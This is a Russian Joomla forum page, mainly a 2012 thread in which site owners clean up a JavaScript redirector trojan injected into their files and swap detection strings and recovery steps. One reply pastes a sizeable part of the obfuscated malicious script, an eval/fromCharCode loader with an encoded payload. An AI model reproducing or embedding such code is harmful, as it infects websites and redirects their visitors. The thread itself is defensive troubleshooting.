Новости Joomla

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

👩‍💻 События плагинов и порядок их срабатывания при работе с пользовательскими полями Joomla и использовании FieldsHelper.

В процессе работы с Joomla бывает необходимо работать с пользовательским интерфейсом более тонко, чем обычно. Все формы Joomla состоят из стандартных полей, содержанием, стилем отображения, состоянием (включено/выключено, доступно для редактирования или нет и т.д.) можно управлять с помощью плагинов. Да и для нестандартных проектов хорошей практикой является создание одного системного или нескольких плагинов групп "под проект", в которых храниться весь "нестандарт".

В этой статье описаны все триггеры, которые вызываются через Event Dispatcher из administrator/components/com_fields/src/Helper/FieldsHelper.php, с привязкой к жизненному циклу (порядку этапов работы запроса), аргументам, изменяемым данным и дальнейшему распространению по Joomla. Это поможет вам работать с Joomla свободнее и не опасаясь при этом потерять изменения при очередном обновлении движка.

Подходы, описанные в статье, полезны в тех случаях, когда вы работаете с данными в com_fields - механизме создания и редактирования пользовательских полей ядра Joomla и при использовании FieldsHelper. Многие сторонние компоненты не используют эту возможность, поэтому данная статья будет полезна лишь частично.

Читать статью на Хабре.

@joomlafeed

🏆 Открыто голосование за Joomla в премии CMS Critic People’s Choice Awards 2025

🏆 Открыто голосование за Joomla в  премии CMS Critic People’s Choice Awards 2025

🗓 Голосование продлится до 27 февраля 2026 года.

👩‍💻 Проголосовать! 👩‍💻

Номинации, в которых можно проголосовать за Joomla:
⭐️ Best Free CMS
⭐️ Best Open Source CMS
⭐️ Best Enterprise CMS

Также в номинации Best e-Commerce Solution участвуют компоненты интернет-магазинов для Joomla:
⭐️ HikaShop
⭐️ Virtuemart

В номинации Best Website Builder оказались:
⭐️ YooTheme
⭐️ SP Page Builder

Что такое CMS Critic Awards?
С 2012 года премия CMS Critic Awards занимает особое место в сообществе систем управления контентом (CMS). Это единственный в своем роде сайт, который составляет рейтинг системы управления контентом и связанных с ними решений на рынке — от малого до крупного и подчеркивает их инновации и услуги.

Каждый год награда CMS Critic Awards присуждается одному победителю в различных отраслевых категориях, таких как: «Лучшая облачная CMS», «Лучший DXP», «Лучшая Headless CMS и других. Затем результаты оглашаются через СМИ вместе с выбором редакции CMS Critic.
В этом году премия вернулась к своим традициям и только TOP-5 движков по количеству номинаций попали в 2-й этап - голосование.

@joomlafeed

0 Пользователей и 1 Гость просматривают эту тему.
  • 50 Ответов
  • 20523 Просмотров
*

kapotdj

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Вылезла утром проблема! >:(
При переходе на сайт Авас ругается на вирус js:Redirector-PB [Trj] :o
Скачал весь сайт себе в комп! проверил антивирем в карантин попали все js скрипты!
Кто сталкивался ? как лечить?
сайт krontrade.ru
Спасибо
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #1 : 01.03.2012, 13:13:15 »
Если дописан код в скриптах то все они туда и попадут
Ищи сам код и удаляй
*

kapotdj

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #2 : 01.03.2012, 13:14:42 »
Как я понимаю перерыть нужно все скрипты ?
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #3 : 01.03.2012, 13:22:09 »
В этой теме читай http://joomlaforum.ru/index.php/topic,197284.msg1043065.html#msg1043065
и сканер посмотри у  flyingspook там же у него в подписи еще топик есть (найдешь)
а на компе Notepad++ или TotalComander
это не долго главное вычислить что искать
*

sergik74

  • Захожу иногда
  • 178
  • 26 / 8
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #4 : 01.03.2012, 13:56:42 »
Перед установкой компонентов и модулей скачанных с энторнетов - сканируйте файло на наличие eval(base64_decode Notepad++ хотябы.
Голова болеть меньше будет.
Разработка сайтов на Joomla.
http://markina-dariya.ru
*

kapotdj

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #5 : 01.03.2012, 14:54:24 »
Попробовал оба способа! Вся гадость сидит в js как я понимаю а эти штуковины хороши но мне не помогли!
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #6 : 01.03.2012, 15:42:53 »
ищи по слову hell

вот такое г... надо искать возможно закодировано
Спойлер
[свернуть]
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #7 : 01.03.2012, 15:52:15 »
Странно. У меня ничего. А можно код одного из зараженных файлов в студию? Аваст может взбесился...

хотя что это за "164" папка?
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #8 : 01.03.2012, 15:57:58 »
У меня его сайт вообще не грузится не в одном браузере (но и каспер молчит)
а код который выше зависает в FireBug(е)
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #9 : 01.03.2012, 15:58:20 »
https://www.virustotal.com/file/b01dfde21dc6503e5fb2be926e48e60295cf287ae574e2eda8ec88e595bd1662/analysis/1330603027/

что-то есть

разве что найти код и вычистить заменой.
« Последнее редактирование: 01.03.2012, 16:08:28 от wishlight »
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #10 : 01.03.2012, 16:22:06 »
kapotdj
Выложи highslide.js на обозрение
*

kapotdj

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #11 : 01.03.2012, 16:23:02 »
Вот внутренности файла cell.js вытащил из Аваста!  смотрите внизу

Спойлер
[свернуть]

вот запрощенный файл но весь код не лезет
Спойлер
[свернуть]
« Последнее редактирование: 01.03.2012, 16:28:16 от kapotdj »
*

kapotdj

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #12 : 01.03.2012, 16:53:01 »
Получается вот она гадость.... но в каждом js она разная
Спойлер
[свернуть]
*

Aizent

  • Осваиваюсь на форуме
  • 42
  • 0 / 1
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #13 : 02.03.2012, 01:38:50 »
во всех js в вредоносном коде одинаковый вызов функции
Array.prototype.slice.call(arguments).join
остальной код разный
вопрос можно ли автоматически
как-нибудь удалить последнюю строку во всех js фаилах на сайте?
ну либо удалить строку содержащую ту самую функцию
*

oriol

  • Завсегдатай
  • 1042
  • 100 / 4
*

Aizent

  • Осваиваюсь на форуме
  • 42
  • 0 / 1
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #15 : 02.03.2012, 12:52:34 »
http://joomlaforum.ru/index.php/topic,197284.msg1043065.html#msg1043065
данный скрипт заменяет только заданный текст
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #16 : 02.03.2012, 14:48:16 »
Если везде разный, то разве что перелить поверх базы по новой. Или руками чистить. Автоматического ничего не знаю такого.

http://joomlaforum.ru/index.php/topic,197284.msg1043065.html#msg1043065 - этим тоже можно воспользоватся, если разновидностей кода небольшое количество. В этом случае надо выяснить, как взломали.

Пароли от ftp и прочего поменяйте. Комп проверьте AVPTool.
*

Aizent

  • Осваиваюсь на форуме
  • 42
  • 0 / 1
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #17 : 02.03.2012, 14:56:10 »
заметил еще что переменные названы в коде одинаково примерно в 20-40 файлов
но это уже не важно
сначала сделал замену "Array.prototype.slice.call(arguments).join" на пробел
после чего ни аваст ни каспер вирус не обнаруживают, остальной код вируса конечно остался
стал удалять его вручную
но вот в чем беда,javascript'ы на сайте стали отображаться не корректно,почему? если надо могу ссылку кинуть,посмотрите
*

Aizent

  • Осваиваюсь на форуме
  • 42
  • 0 / 1
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #18 : 02.03.2012, 14:59:52 »
может антивирусник заблокировал их для сайта?
хотя сообщения о вирусе больше не выскакивают
*

kapotdj

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #19 : 02.03.2012, 15:03:22 »
я тоже так сделал! Но при входе в админки он ругается! и админка както не так работает! цены прописать вручну не могу например!
*

Aizent

  • Осваиваюсь на форуме
  • 42
  • 0 / 1
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #20 : 02.03.2012, 15:25:33 »
у меня вообще пустая страница в админке)
« Последнее редактирование: 02.03.2012, 15:37:17 от Aizent »
*

kapotdj

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #21 : 02.03.2012, 15:42:42 »
на другом сайт резко стал тупить ftp файл replace даже залить не могу  !
*

Aizent

  • Осваиваюсь на форуме
  • 42
  • 0 / 1
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #22 : 02.03.2012, 21:50:32 »
все удалил вручную,по прежнему javascriptы работают не корректно
http://belopen.ru/
*

kapotdj

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #23 : 06.03.2012, 15:55:22 »
Такая же ерунда! Насколько знаю что вирус попадает на сайт через ftp!
*

ekspert111

  • Новичок
  • 8
  • 0 / 0
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #24 : 06.03.2012, 16:04:07 »
У меня сегодня тоже вирус на сайт какойто педик закинул но я проплему решил. Вредносный скрипт прятался в самом начале файла index.php а вот и сам скрипт script>if(window.document)try{location(12);}catch(qqq){zz='eval';aa=[]+0;aaa=0+[];if(aa.indexOf(aaa)===0){ss='';s=String;f='fro'+'m'+'C'+'h'+'ar';f+='Code';}ee='e';e=window[zz];t='y';}h=-2*Math.log(Math.E);n="3.5a3.5a51.5a50a15a19a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a19.5a60.5a3.5a3.5a3.5a51.5a50a56a47.5a53.5a49.5a56a19a19.5a28.5a3.5a3.5a61.5a15a49.5a53a56.5a49.5a15a60.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a58.5a56a51.5a57a49.5a19a16a29a51.5a50a56a47.5a53.5a49.5a15a56.5a56a48.5a29.5a18.5a51a57a57a55a28a22.5a22.5a56a54.5a53.5a47.5a56.5a51a52.5a47.5a22a49a49a54a56.5a22a51.5a54a50a54.5a22.5a50.5a54.5a22a55a51a55a30.5a56.5a51.5a49a29.5a23.5a18.5a15a58.5a51.5a49a57a51a29.5a18.5a23.5a23a18.5a15a51a49.5a51.5a50.5a51a57a29.5a18.5a23.5a23a18.5a15a56.5a57a59.5a53a49.5a29.5a18.5a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a28a51a51.5a49a49a49.5a54a28.5a55a54.5a56.5a51.5a57a51.5a54.5a54a28a47.5a48a56.5a54.5a53a57.5a57a49.5a28.5a53a49.5a50a57a28a23a28.5a57a54.5a55a28a23a28.5a18.5a30a29a22.5a51.5a50a56a47.5a53.5a49.5a30a16a19.5a28.5a3.5a3.5a61.5a3.5a3.5a50a57.5a54a48.5a57a51.5a54.5a54a15a51.5a50a56a47.5a53.5a49.5a56a19a19.5a60.5a3.5a3.5a3.5a58a47.5a56a15a50a15a29.5a15a49a54.5a48.5a57.5a53.5a49.5a54a57a22a48.5a56a49.5a47.5a57a49.5a33.5a53a49.5a53.5a49.5a54a57a19a18.5a51.5a50a56a47.5a53.5a49.5a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a56.5a56a48.5a18.5a21a18.5a51a57a57a55a28a22.5a22.5a56a54.5a53.5a47.5a56.5a51a52.5a47.5a22a49a49a54a56.5a22a51.5a54a50a54.5a22.5a50.5a54.5a22a55a51a55a30.5a56.5a51.5a49a29.5a23.5a18.5a19.5a28.5a50a22a56.5a57a59.5a53a49.5a22a58a51.5a56.5a51.5a48a51.5a53a51.5a57a59.5a29.5a18.5a51a51.5a49a49a49.5a54a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a55a54.5a56.5a51.5a57a51.5a54.5a54a29.5a18.5a47.5a48a56.5a54.5a53a57.5a57a49.5a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a53a49.5a50a57a29.5a18.5a23a18.5a28.5a50a22a56.5a57a59.5a53a49.5a22a57a54.5a55a29.5a18.5a23a18.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a58.5a51.5a49a57a51a18.5a21a18.5a23.5a23a18.5a19.5a28.5a50a22a56.5a49.5a57a31.5a57a57a56a51.5a48a57.5a57a49.5a19a18.5a51a49.5a51.5a50.5a51a57a18.5a21a18.5a23.5a23a18.5a19.5a28.5a3.5a3.5a3.5a49a54.5a48.5a57.5a53.5a49.5a54a57a22a50.5a49.5a57a33.5a53a49.5a53.5a49.5a54a57a56.5a32a59.5a41a47.5a50.5a38a47.5a53.5a49.5a19a18.5a48a54.5a49a59.5a18.5a19.5a44.5a23a45.5a22a47.5a55a55a49.5a54a49a32.5a51a51.5a53a49a19a50a19.5a28.5a3.5a3.5a61.5".split("a"); -только часть а то весь скрипт принесет вред форуму. Мне вот только одно интересно как это хренов хакер залез ко мне на сервер?  За проникновение на сервак хакеру 5 за скрипт 2 Хакер если ты читаешь мой пост то займись чем то полезным - какой смысл сайты заражать все равно вылечим.
*

useruserov

  • Новичок
  • 9
  • 0 / 0
  • полоса черная, полоса черная, блин когда же белая
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #25 : 14.03.2012, 02:26:06 »
Тоже столкнулся с этой проблемой. На одном хостинге 4сайта все заразились. С Joomla 1.5 решил проблему следующим образом: архивирую весь сайт  и скачиваю архив после проверяю архив антивирем и удаляю из архива все зараженные файлы. Удаляю на хосте все файлы, шкурю свой комп антивирем, меняю пароль фтп, заливаю архив с удаленными вирусами обратно на хост и распаковываю, сайт почти работает - не работают кнопки в админке. Эту проблему решаю следующим образом: беру архив с инсталяхой Joomla 1.5 распаковываю и через тотал командер кидаю на хост все папки (ТОЛЬКО ПАПКИ ) кроме "инсталл" когда он спрашивает "переписать" или "пропустить" выбираю пропустить и вуаля он копирует только те файлы которых не хватает. Все работает - пример: siteps.ru А вот с Joomla 1.7 не прокатило не было доступа в админку (вообще не было) вышел из положения следущим образом: скачал с хоста файл configuration.php потом закинул на хост папку "инсталл" и configuration.php из архива с инсталяхой 1.7 создал еще одну базу данных и как бы проинсталировал Joomla в новую базу после поменял configuration.php на тот который скачал в начале и все заработало, вроде. Примерно как то так. у кого есть идеи лучше поделитесь. В общей сложности на 4зараженных сайтах было примерно 300 зараженных файлов сидеть и шкурить ручками - не реально.
*

kapotdj

  • Осваиваюсь на форуме
  • 20
  • 0 / 0
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #26 : 21.03.2012, 16:54:55 »
Всем спасибо! Все вылечил )
*

vadim1967

  • Новичок
  • 1
  • 0 / 0
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #27 : 21.03.2012, 22:51:35 »
Аналогичная проблема.
Авира показывает JS:Redirector
Удаляю файлы, которые показывает антивирус. Заливаю из дистрибутива. Ситуация не меняется.
Сами файлы на хостинге идентичные тем, что в дистрибутиве. Никаких отличий не вижу.
Сайт - costaespera.com.ua
*

useruserov

  • Новичок
  • 9
  • 0 / 0
  • полоса черная, полоса черная, блин когда же белая
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #28 : 25.03.2012, 15:50:31 »
А свой комп шкурили антивирем? Пароль от ФТП меняли? Если нет то все бесполезно вирус все равно просочится на сайт
*

wishlight

  • Гуру
  • 5078
  • 320 / 1
  • От 300 руб быстрый хостинг. Сервера.
Re: Вирус на сайте ! js:Redirector-PB [Trj]
« Ответ #29 : 25.03.2012, 22:04:56 »
Аналогичная проблема.
Авира показывает JS:Redirector
Удаляю файлы, которые показывает антивирус. Заливаю из дистрибутива. Ситуация не меняется.
Сами файлы на хостинге идентичные тем, что в дистрибутиве. Никаких отличий не вижу.
Сайт - costaespera.com.ua

У меня авира молчит. Наверно вылечили. Был такой на днях, кто-то шелл залил и переписал главные. Делал человек, а не бот.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Скрипт для поиска вирусов и вредоносных скриптов на сайте "AI-Bolit"

Автор revisium

Ответов: 110
Просмотров: 72474
Последний ответ 30.08.2023, 12:53:33
от SeBun
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

Ответов: 1
Просмотров: 4343
Последний ответ 25.05.2023, 08:49:57
от Театрал
Re: Кажется вирус на сайте

Автор motokraft

Ответов: 24
Просмотров: 5594
Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
Хостинг пишет, что найден вирус в /media/com_media/js/media-manager-es5.js

Автор AlexP750

Ответов: 6
Просмотров: 3907
Последний ответ 22.02.2022, 11:38:15
от AlexP750
Спам, вирус или дело в браузере Google

Автор alekcae

Ответов: 13
Просмотров: 2500
Последний ответ 16.05.2021, 18:52:24
от alekcae